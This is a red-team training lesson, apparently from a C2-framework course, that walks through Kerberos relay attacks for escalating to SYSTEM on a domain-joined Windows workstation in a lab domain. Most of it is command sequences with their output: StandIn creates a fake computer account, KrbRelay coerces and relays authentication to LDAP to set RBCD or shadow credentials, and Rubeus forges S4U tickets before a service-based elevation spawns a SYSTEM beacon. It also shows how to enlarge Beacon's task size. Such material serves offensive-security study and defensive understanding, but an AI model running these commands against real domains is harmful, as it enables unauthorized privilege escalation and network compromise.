Kerberos Relay Attacks

Using Kerberos for Authentication Relay Attacks was published by James Foreshaw in 2021, in which he discusses the possibility of relaying Kerberos authentication in a Windows domain without MitM. It's a fairly heavy read but obviously contains all the granular details. This lesson will attempt to summarise the key points and demonstrate two popular attack vectors for LPE on domain-joined hosts.

One major challenge in relaying Kerberos is that service tickets are encrypted with the service's secret key. A ticket for CIFS/HOST-A cannot be relayed to CIFS/HOST-B because HOST-B would be unable to decrypt a ticket that was encrypted for HOST-A. However, in Windows, the service's secret key is derived from the principal associated with its SPN and is not necessarily unique per-service. Most services run as the local SYSTEM, which in a domain context, is the computer account in Active Directory. Therefore, service tickets for services run on the same host, such as CIFS/HOST-A and HTTP/HOST-A, would be encrypted with the same key.

As James puts it - "there's nothing inherently stopping Kerberos authentication being relayed if the attacker can control the SPN", but until now, we have not had a way to do this. One method for achieving it is detailed in his post: Windows Exploitation Tricks: Relaying DCOM Authentication. The demonstrated approach is very similar to how the RemotePotato exploit works - stand up a local listener and coerce a privileged COM server into connecting to it; capture the subsequent authentication request and relay it somewhere else. Again, there are a lot of nuanced detail in James' post, but these are the highlights.

The attacker starts a malicious RPC server that will force connecting clients to authenticate to it using Kerberos only, and by using appropriate security bindings, they can specify a completely arbitrary SPN. This will force a service ticket to be generated for a service/SPN that that attacker doesn't control, such as HOST/DC. They then coerce a privileged COM server into connecting to their malicious RPC server, which will perform the authentication and generate the appropriate Kerberos tickets. In this example, the malicious RPC server would receive a KRB_AP_REQ for HOST/DC as the local computer account, which the attacker can relay to LDAP/DC instead. With a valid service ticket for LDAP, they can submit requests to the DC as the computer account to modify the computer object in Active Directory. This opens the door for other attacker primitives like RBCD and shadow credentials in order to achieve the LPE.

It's worth noting that if signing or channel binding are enabled then these attacks are not possible. Thankfully (or not, depending on your point of view), signing is still disabled by default, even on critical protocols such as LDAP.

There are tools such as KrbRelayUp that automate most of the exploitation steps required, but we'll do them manually. The primary reason is 1) that we understand all of the steps in more detail; and 2) we know how and what clean-up afterwards (which these tools often omit). For the relaying, we'll use the original KrbRelay tool by cube0x0; and for the LPE, tools we're already familiar with including StandIn, Whisker, and Rubeus.

This lesson will show how Kerberos relaying can be used to LPE to SYSTEM on WKSTN-2 as bfarmer.

One unfortunate aspect to KrbRelay is that because it uses the BouncyCastle Crypto package (which is quite large), its total compiled size is larger than the default task size allowed for Beacon. Trying to run it with execute-assembly will throw an error:

beacon> execute-assembly C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe
[-] Task size of 1727291 bytes is over the max task size limit of 1048576 bytes.

We could try and modify the tool to make it smaller or modify Beacon's task size to make it larger. The latter option is quite straightforward because it can controlled with the tasks_max_size setting in Malleable C2 - the downside is that it cannot be applied retrospectively to existing Beacons. To double the task size, add set tasks_max_size "2097152"; to the top of your C2 profile.

You will notice significantly more lag within the CS client when executing tasks with large artifacts.

You must also remember to restart the team server and re-generate your payloads after making changes to the Malleable C2 profile.

RBCD

As mentioned in the RBCD lesson, it is necessary to have control over another computer object to abuse. If available, the easiest way is to add your own computer object to the domain and get its SID.

beacon> execute-assembly C:\Tools\StandIn\StandIn\StandIn\bin\Release\StandIn.exe --computer EvilComputer --make

[?] Using DC    : dc-2.dev.cyberbotic.io
    |_ Domain   : dev.cyberbotic.io
    |_ DN       : CN=EvilComputer,CN=Computers,DC=dev,DC=cyberbotic,DC=io
    |_ Password : 2GsXwLNRAV30RIx

[+] Machine account added to AD..

beacon> powershell Get-DomainComputer -Identity EvilComputer -Properties objectsid

objectsid                                   
---------                                   
S-1-5-21-569305411-121244042-2357301523-9101

The next step is to find a suitable port for the OXID resolver to circumvent a check in the Remote Procedure Call Service (RPCSS). This can be done with CheckPort.exe.

beacon> execute-assembly C:\Tools\KrbRelay\CheckPort\bin\Release\CheckPort.exe
[*] Looking for available ports..
[*] SYSTEM Is allowed through port 10

With that, run KrbRelay.

beacon> execute-assembly C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe -spn ldap/dc-2.dev.cyberbotic.io -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -rbcd S-1-5-21-569305411-121244042-2357301523-9101 -port 10

Where:

  • -spn is the target service to relay to.

  • -clsid represents RPC_C_IMP_LEVEL_IMPERSONATE.

  • -rbcd is the SID of the fake computer account.

  • -port is the port returned by CheckPort.

[*] Relaying context: dev.cyberbotic.io\WKSTN-2$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\Windows\system32\rundll32.exe
[*] Register com server
objref:TUVPVw[...snip...]AAAA==:

[*] Forcing SYSTEM authentication
[*] Using CLSID: 90f18417-f0f1-484e-9d3c-59dceee5dbd8

[*] apReq: 608206[...snip...]f3f91c
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8187[...snip...]66ea24
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b30[...snip...]c15bae
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS

If we query WKSTN-2$, we'll see that there's now an entry in in its msDS-AllowedToActOnBehalfOfOtherIdentity attribute.

beacon> powershell Get-DomainComputer -Identity wkstn-2 -Properties msDS-AllowedToActOnBehalfOfOtherIdentity

msds-allowedtoactonbehalfofotheridentity
----------------------------------------
{1, 0, 4, 128...}

Because we have the password associated with EvilComputer, we can request a TGT and perform an S4U to obtain a usable service tickets for WKSTN-2. Let's use this to get a ticket for HOST/WKSTN-2.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:EvilComputer$ /aes256:1DE19DC9065CFB29D6F3E034465C56D1AEC3693DB248F04335A98E129281177A /nowrap

[*] Action: Ask TGT

[*] Using aes256_cts_hmac_sha1 hash: 1DE19DC9065CFB29D6F3E034465C56D1AEC3693DB248F04335A98E129281177A
[*] Building AS-REQ (w/ preauth) for: 'dev.cyberbotic.io\EvilComputer$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIF8j[...snip...]MuaW8=

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /user:EvilComputer$ /impersonateuser:Administrator /msdsspn:host/wkstn-2 /ticket:doIF8j[...snip...]MuaW8= /ptt

[*] Action: S4U

[*] Building S4U2self request for: 'EvilComputer$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Got a TGS for 'Administrator' to 'EvilComputer$@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

      doIFzj[...snip...]RlciQ=

[*] Impersonating user 'Administrator' to target SPN 'host/wkstn-2'
[*] Building S4U2proxy request for service: 'host/wkstn-2'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2proxy request to domain controller 10.10.122.10:88
[+] S4U2proxy success!
[*] base64(ticket.kirbi) for SPN 'host/wkstn-2':

      doIGej[...snip...]N0bi0y

[+] Ticket successfully imported!

Notice how this is one occasion where we do not use the FQDN of the target machine in the msdsspn parameter.

To perform the elevation, we'll use this ticket to interact with the local Service Control Manager over Kerberos to create and start a service binary payload. To streamline this, I've created a BOF and Aggressor Script that registers a new elevate command in Beacon. It can be found in C:\Tools\SCMUACBypass and is based on James' SCMUACBypass gist.

beacon> elevate svc-exe-krb tcp-local

AcquireCredentialsHandleHook called for package Negotiate
Changing to Kerberos package

[+] received output:
InitializeSecurityContext called for target HOST/127.0.0.1
InitializeSecurityContext status = 00090312

[+] received output:
InitializeSecurityContext called for target HOST/127.0.0.1
InitializeSecurityContext status = 00000000

[+] established link to child beacon: 10.10.123.102

Shadow Credentials

The advantage of using shadow credentials over RBCD is that we don't need to add a fake computer to the domain. First, verify that WKSTN-2 has nothing in its msDS-KeyCredentialLink attribute.

beacon> execute-assembly C:\Tools\Whisker\Whisker\bin\Release\Whisker.exe list /target:wkstn-2$

[*] Searching for the target account
[*] Target user found: CN=WKSTN-2,OU=Workstations,DC=dev,DC=cyberbotic,DC=io
[*] Listing deviced for wkstn-2$:
[*] No entries!

Run KrbRelay as before, but this time with the -shadowcred parameter.

beacon> execute-assembly C:\Tools\KrbRelay\KrbRelay\bin\Release\KrbRelay.exe -spn ldap/dc-2.dev.cyberbotic.io -clsid 90f18417-f0f1-484e-9d3c-59dceee5dbd8 -shadowcred -port 10

[*] Relaying context: dev.cyberbotic.io\WKSTN-2$
[*] Rewriting function table
[*] Rewriting PEB
[*] GetModuleFileName: System
[*] Init com server
[*] GetModuleFileName: C:\Windows\system32\rundll32.exe
[*] Register com server
objref:TUVPVw[...snip...]AAAA==:

[*] Forcing SYSTEM authentication
[*] Using CLSID: 90f18417-f0f1-484e-9d3c-59dceee5dbd8

[*] apReq: 608206[...snip...]b23c98
[*] bind: 0
[*] ldap_get_option: LDAP_SASL_BIND_IN_PROGRESS
[*] apRep1: 6f8187[...snip...]f5de0f
[*] AcceptSecurityContext: SEC_I_CONTINUE_NEEDED
[*] fContextReq: Delegate, MutualAuth, UseDceStyle, Connection
[*] apRep2: 6f5b30[...snip...]7a2322
[*] bind: 0
[*] ldap_get_option: LDAP_SUCCESS
[+] LDAP session established
[*] ldap_modify: LDAP_SUCCESS

If you perform these attacks back-to-back and see an error like (0x800706D3): The authentication service is unknown. then reboot the machine or wait for the next clock sync.

Like Whisker does, KrbRelay will helpfully provide a full Rubeus command that will request a TGT for WKSTN-2. However, it will return an RC4 ticket so if you want an AES instead, do:

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe asktgt /user:WKSTN-2$ /certificate:MIIJyA[...snip...]QCAgfQ /password:"06ce8e51-a71a-4e0c-b8a3-992851ede95f" /enctype:aes256 /nowrap

[*] Action: Ask TGT

[*] Using PKINIT with etype aes256_cts_hmac_sha1 and subject: CN=WKSTN-2$ 
[*] Building AS-REQ (w/ PKINIT preauth) for: 'dev.cyberbotic.io\WKSTN-2$'
[*] Using domain controller: 10.10.122.10:88
[+] TGT request successful!
[*] base64(ticket.kirbi):

      doIGkD[...snip...]5pbw==

The S4U2Self trick can then be used to obtain a HOST service ticket like we did with RBCD.

beacon> execute-assembly C:\Tools\Rubeus\Rubeus\bin\Release\Rubeus.exe s4u /impersonateuser:Administrator /self /altservice:host/wkstn-2 /user:wkstn-2$ /ticket:doIGkD[...snip...]5pbw== /ptt

[*] Action: S4U

[*] Building S4U2self request for: 'WKSTN-2$@DEV.CYBERBOTIC.IO'
[*] Using domain controller: dc-2.dev.cyberbotic.io (10.10.122.10)
[*] Sending S4U2self request to 10.10.122.10:88
[+] S4U2self success!
[*] Substituting alternative service name 'host/wkstn-2'
[*] Got a TGS for 'Administrator' to 'host@DEV.CYBERBOTIC.IO'
[*] base64(ticket.kirbi):

      doIF6j[...snip...]N0bi0y

[+] Ticket successfully imported!

beacon> elevate svc-exe-krb tcp-local
[...snip...]

[+] established link to child beacon: 10.10.123.102

Last updated